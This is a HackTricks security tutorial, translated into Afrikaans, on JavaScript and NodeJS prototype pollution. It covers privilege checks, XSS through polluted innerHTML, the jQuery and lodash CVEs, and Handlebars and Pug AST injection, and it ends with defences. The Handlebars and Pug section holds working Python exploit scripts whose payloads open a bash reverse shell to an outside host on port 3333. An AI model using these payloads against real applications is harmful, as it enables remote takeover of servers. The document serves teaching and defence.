NodeJS - __proto__ & prototype Pollution

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Objects in JavaScript

Objekte in JavaScript is essensieel versamelings van sleutel-waardepare, bekend as eienskappe. 'n Objek kan geskep word met behulp van Object.create met null as 'n argument om 'n leë objek te produseer. Hierdie metode maak die skepping van 'n objek moontlik sonder enige geërfde eienskappe.

// Run this in the developers tools console
console.log(Object.create(null)); // This will output an empty object.

'n Leë voorwerp is soortgelyk aan 'n leë woordeboek, voorgestel as {}.

Funksies en Klasse in JavaScript

In JavaScript is klasse en funksies nou verbind, met funksies wat dikwels as konstrukteurs vir klasse dien. Ten spyte van JavaScript se gebrek aan inheemse klasse-ondersteuning, kan konstrukteurs klasse-gedrag naboots.

// Run this in the developers tools console

function Employee(name, position) {
this.name = name;
this.position = position;
this.introduce = function() {
return "My name is " + this.name + " and I work as a " + this.position + ".";
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer");

employee1.__proto__

Prototipes in JavaScript

JavaScript maak die wysiging, byvoeging, of verwydering van prototipe eienskappe tydens uitvoering moontlik. Hierdie buigsaamheid maak die dinamiese uitbreiding van klasfunksionaliteite moontlik.

Funksies soos toString en valueOf kan verander word om hul gedrag te wysig, wat die aanpasbare aard van JavaScript se prototipe stelsel demonstreer.

Erfenis

In prototipe-gebaseerde programmering word eienskappe/metodes deur voorwerpe van klasse geërf. Hierdie klasse word geskep deur eienskappe/metodes by te voeg aan 'n instansie van 'n ander klas of aan 'n leë voorwerp.

Dit moet opgemerk word dat wanneer 'n eienskap by 'n voorwerp wat as die prototipe vir ander voorwerpe dien (soos myPersonObj) gevoeg word, die erfende voorwerpe toegang tot hierdie nuwe eienskap verkry. Hierdie eienskap word egter nie outomaties vertoon tensy dit uitdruklik aangeroep word nie.

__proto__ besoedeling

Verkenning van Prototipe Besoedeling in JavaScript

JavaScript voorwerpe word gedefinieer deur sleutel-waarde pare en erf van die JavaScript Object prototipe. Dit beteken dat die verandering van die Object prototipe alle voorwerpe in die omgewing kan beïnvloed.

Laat ons 'n ander voorbeeld gebruik om dit te illustreer:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");

Toegang tot die Object-prototipe is moontlik deur:

car1.__proto__.__proto__;
Vehicle.__proto__.__proto__;

Deur eienskappe by die Object-prototipe by te voeg, sal elke JavaScript-voorwerp hierdie nuwe eienskappe erf:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function() { console.log("Beep beep!"); };
car1.announce(); // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true;
console.log(car1.isVehicle); // Outputs true

prototipe besoedeling

Vir 'n scenario waar __proto__ gebruik beperk is, is die wysiging van 'n funksie se prototipe 'n alternatief:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function() { console.log("Beep beep!"); };
car1.beep(); // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true;
console.log(car1.hasWheels); // Outputs true

// Alternate method
car1.constructor.prototype.honk = function() { console.log("Honk!"); };
car1.constructor.prototype.isElectric = true;

Dit affekteer slegs voorwerpe wat geskep is van die Vehicle konstrukteur, wat hulle die beep, hasWheels, honk, en isElectric eienskappe gee.

Twee metodes om JavaScript voorwerpe globaal te affekteer deur middel van prototipe besoedeling sluit in:

  1. Die Object.prototype direk besoedel:

Object.prototype.goodbye = function() { console.log("Goodbye!"); };
  1. Besoedeling van die prototipe van 'n konstrukteur vir 'n algemeen gebruikte struktuur:

var example = {"key": "value"};
example.constructor.prototype.greet = function() { console.log("Hello!"); };

Na hierdie operasies kan elke JavaScript-voorwerp goodbye en greet metodes uitvoer.

Besoedeling van ander voorwerpe

Van 'n klas na Object.prototype

In 'n scenario waar jy 'n spesifieke voorwerp kan besoedel en jy moet na Object.prototype gaan, kan jy dit soek met iets soos die volgende kode:

// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for(let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for(let key1 in document.querySelector('a')) {
for(let key2 in document.querySelector('a')[key1]) {
if (document.querySelector('a')[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}

Array elemente besoedeling

Let daarop dat as jy eienskappe van voorwerpe in JS kan besoedel, as jy toegang het om 'n array te besoedel, kan jy ook waardes van die array besoedel wat toeganklik is deur indekse (let daarop dat jy nie waardes kan oorskryf nie, so jy moet indekse besoedel wat op een of ander manier gebruik word maar nie geskryf word nie).

c = [1,2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not

Html elemente besoedeling

Wanneer 'n HTML-element gegenereer word via JS, is dit moontlik om die innerHTML eienskap te oor-skryf om dit willekeurige HTML-kode te laat skryf. Idee en voorbeeld van hierdie skryfstuk.

// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"

Voorbeelde

Basiese Voorbeeld

'n Prototipevervuiling vind plaas as gevolg van 'n fout in die toepassing wat die oorskrywing van eienskappe op Object.prototype toelaat. Dit beteken dat aangesien die meeste voorwerpe hul eienskappe van Object.prototype aflei.

Die maklikste voorbeeld is om 'n waarde by te voeg aan 'n onbepaalde eienskap van 'n voorwerp wat gaan nagegaan word, soos:

if (user.admin) {

Indien die eienskap admin ongedefinieer is, is dit moontlik om misbruik te maak van 'n PP en dit na Waar te stel met iets soos:

Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true

Die meganisme agter hierdie betrokkenheid behels die manipulasie van eienskappe sodat as 'n aanvaller beheer oor sekere insette het, hulle die prototipe van alle voorwerpe in die aansoek kan wysig. Hierdie manipulasie behels tipies die instelling van die __proto__ eienskap, wat in JavaScript sinoniem is met die direkte wysiging van 'n voorwerp se prototipe.

Die toestande waaronder hierdie aanval suksesvol uitgevoer kan word, soos uiteengesit in 'n spesifieke studie, sluit in:

  • Die uitvoering van 'n herhalende samevoeging.

  • Die definisie van eienskappe gebaseer op 'n pad.

  • Kloning van voorwerpe.

Oorskryf funksie

customer.__proto__.toString = ()=>{alert("polluted")}

Proto Besoedeling tot RCE

Ander payloads:

Kliëntkant prototype besoedeling tot XSS

CVE-2019–11358: Prototype besoedelingsaanval deur jQuery $ .extend

Vir verdere besonderhede, kyk na hierdie artikel In jQuery kan die $ .extend-funksie lei tot prototype besoedeling as die diep kopieerfunksie verkeerd gebruik word. Hierdie funksie word gewoonlik gebruik vir kloning van voorwerpe of die saamvoeging van eienskappe van 'n verstekvoorwerp. Wanneer dit egter verkeerd gekonfigureer is, kan eienskappe bedoel vir 'n nuwe voorwerp aan die prototipe toegewys word. Byvoorbeeld:

$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
console.log({}.devMode); // Outputs: true

Hierdie kwesbaarheid, geïdentifiseer as CVE-2019–11358, illustreer hoe 'n diep kopie onbedoeld die prototipe kan wysig, wat kan lei tot potensiële sekuriteitsrisiko's, soos ongemagtigde admin-toegang as eienskappe soos isAdmin nagegaan word sonder behoorlike bestaansverifikasie.

CVE-2018–3721, CVE-2019–10744: Prototipe besmetting aanval deur lodash

Vir verdere besonderhede kyk na hierdie artikel

Lodash het soortgelyke prototipe besmetting kwesbaarhede ondervind (CVE-2018–3721, CVE-2019–10744). Hierdie kwessies is aangespreek in weergawe 4.17.11.

'n Ander handleiding met CVE's

Gereedskap om Prototipe Besmetting op te spoor

  • Server-Side-Prototype-Pollution-Gadgets-Scanner: Burp Suite-uitbreiding ontwerp om prototipe besmetting kwesbaarhede aan die serverkant in webtoepassings op te spoor en te analiseer. Hierdie gereedskap outomatiseer die proses van skandering van versoek om potensiële prototipe besmetting kwessies te identifiseer. Dit maak gebruik van bekende gadgets - metodes om prototipe besmetting te benut om skadelike aksies uit te voer - wat spesifiek fokus op Node.js biblioteke.

  • server-side-prototype-pollution: Hierdie uitbreiding identifiseer prototipe besmetting kwesbaarhede aan die serverkant. Dit maak gebruik van tegnieke wat beskryf word in die server side prototype pollution.

AST Prototipe Besmetting in NodeJS

NodeJS maak uitgebreide gebruik van Abstract Syntax Trees (AST) in JavaScript vir funksionaliteite soos templaatmotors en TypeScript. Hierdie afdeling ondersoek die kwesbaarhede wat verband hou met prototipe besmetting in templaatmotors, spesifiek Handlebars en Pug.

Handlebars Kwesbaarheidsanalise

Die Handlebars templaatmotor is vatbaar vir 'n prototipe besmetting aanval. Hierdie kwesbaarheid spruit voort uit spesifieke funksies binne die javascript-compiler.js lêer. Die appendContent-funksie, byvoorbeeld, kombineer pendingContent as dit teenwoordig is, terwyl die pushSource-funksie pendingContent na undefined herstel nadat die bron bygevoeg is.

Uitbuitingsproses

Die uitbuiting maak gebruik van die AST (Abstract Syntax Tree) wat deur Handlebars geproduseer word, deur hierdie stappe te volg:

  1. Manipulasie van die Parser: Aanvanklik dwing die parser, via die NumberLiteral-node, dat waardes numeries moet wees. Prototipe besmetting kan hierdie beperking omseil, wat die invoeging van nie-numeriese strings moontlik maak.

  2. Hantering deur die Kompileerder: Die kompileerder kan 'n AST-objek of 'n string-templaat verwerk. As input.type gelyk is aan Program, word die invoer as vooraf-ontleed beskou, wat uitgebuit kan word.

  3. Inspuiting van Kode: Deur manipulasie van Object.prototype kan arbitrêre kode in die templaatfunksie ingespuit word, wat kan lei tot afgeleë kode-uitvoering.

'N Voorbeeld wat die uitbuiting van die Handlebars kwesbaarheid demonstreer:

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}],
"loc": {
"start": 0,
"end": 0
}
}];

const source = `Hello {{ msg }}`;
const template = Handlebars.precompile(source);

console.log(eval('(' + template + ')')['main'].toString());

Hierdie kode toon hoe 'n aanvaller arbitrêre kode in 'n Handlebars-sjabloon kon invoeg.

Eksterne Verwysing: 'n Probleem wat verband hou met prototipe besoedeling is gevind in die 'flat' biblioteek, soos hier beskryf: Probleem op GitHub.

Eksterne Verwysing: Probleem wat verband hou met prototipe besoedeling in die 'flat' biblioteek

Voorbeeld van 'n prototipe besoedeling uitbuiting in Python:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)

Pug Kwesbaarheid

Pug, nog 'n templaat-enjin, staar 'n soortgelyke risiko van prototipe besoedeling in die gesig. Gedetailleerde inligting is beskikbaar in die bespreking oor AST-injeksie in Pug.

Voorbeeld van prototipe besoedeling in Pug:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)

Voorkomende Maatreëls

Om die risiko van prototipe besoedeling te verminder, kan die strategieë hieronder toegepas word:

  1. Objek Onveranderlikheid: Die Object.prototype kan onveranderlik gemaak word deur Object.freeze toe te pas.

  2. Invoervalidasie: JSON invoere moet streng gevalideer word teen die toepassing se skema.

  3. Veilige Versmeltingsfunksies: Die onveilige gebruik van herhalende versmeltingsfunksies moet vermy word.

  4. Prototipe-loos Objekte: Objekte sonder prototipe-eienskappe kan geskep word deur Object.create(null) te gebruik.

  5. Gebruik van Map: In plaas van Object, moet Map gebruik word vir die stoor van sleutel-waarde pare.

  6. Biblioteekopdaterings: Sekuriteitspleisters kan ingesluit word deur biblioteke gereeld op te dateer.

  7. Linter en Statische Analisewerkstukke: Gebruik gereedskap soos ESLint met toepaslike invoegtoepassings om prototipe besoedeling kwesbaarhede op te spoor en te voorkom.

  8. Kode-oorsig: Implementeer deeglike kode-oorsigte om potensiële risiko's rakende prototipe besoedeling te identifiseer en te verhelp.

  9. Sekuriteitsopleiding: Edukeer ontwikkelaars oor die risiko's van prototipe besoedeling en die beste praktyke vir die skryf van veilige kode.

  10. Gebruik van Biblioteke met Omsigtigheid: Wees versigtig wanneer jy derdeparty biblioteke gebruik. Evalueer hul sekuriteitspostuur en oorsig hul kode, veral dié wat objekte manipuleer.

  11. Uitvoeringsbeskerming: Stel uitvoeringsbeskermingsmeganismes in soos die gebruik van sekuriteitsgefokusde npm-pakkette wat prototipe besoedeling aanvalle kan opspoor en voorkom.

Verwysings

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated